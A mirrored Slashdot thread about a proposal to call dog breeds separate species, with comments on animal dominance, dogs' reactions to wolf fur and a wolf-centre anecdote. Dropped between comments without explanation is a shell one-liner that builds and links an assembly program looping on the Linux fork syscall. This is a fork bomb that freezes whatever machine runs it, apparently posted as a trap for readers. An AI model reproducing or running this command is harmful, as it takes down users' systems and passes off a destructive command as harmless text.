Slashdot Mirror
Should We Just Call Dog Breeds a Different Species?
Jamie found an amusing bit this morning on Scientific American where the author proposes that dog breeds are different species. Now some of you might recoil when you hear this suggestion, but if you read the article to see why he makes this suggestion I suspect you'll crack a smile and appreciate the elegance of the solution.
Social hierarchies in animals are just as dysfunctional as they are in humans. I saw some documentary where one of the younger dominant females kept taking food out of the mouth of one of the subordinates ones. It wasn't that she was particularly hungry because she got priority access to the best food. As far as anyone could tell she was doing because her status let her get away with it.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
What's even funnier is that dogs know wolves.
I'm lucky enough to volunteer at a wolf centre in southern England. At this time of year they're moulting like crazy and it's easy to pull of clumps of underfur from them.
The fun starts if you give some to a dog owner and ask them to show it to their dogs.
The last time I did that it made my friend's 4 dogs go nuts - one went very wide-eyed, another tried clambering over the guy to get it and the third begged for some. I've seen other reactions including frenzied barking and fear from other dogs.
So it seems that despite most dogs never getting to see a wolf (at least here in the UK, we shot our last wolf in the late 1700s), they still know full well what one is.
As an aside, dogs are amazingly different from wolves despite being 99.8% the same DNA wise. Only one season a year and permanent puppyhood - domestic dogs don't become adults, we've bred that out of them somehow. Wolves, on the other hand, change noticeably around 3 years of age. Dogs are also much, much better at picking up signals from people - and unlike wolves, they're always eager to please if bought up properly. A wolf'll only do something if it feels like it, or if it'll get something out of it!
And an amusing anecdote to finish - we used to take our wolves out to county shows, as they're socialied and enjoyed meeting people. One morning at the Kent show we let the wolves into their mobile enclosure and they watched intently as some Rottweilers came over, along with their (big-mouthed) owners. The blokes were going on about how their dogs could "have" our wolves easily, yet both dogs cowered away when Duma, one of our soppier wolves with people, casually gazed at them, raised her lip soundlessly, showing impressive fangs. Those Rottweilers knew better than to come any closer, much to the chagrin of their owners!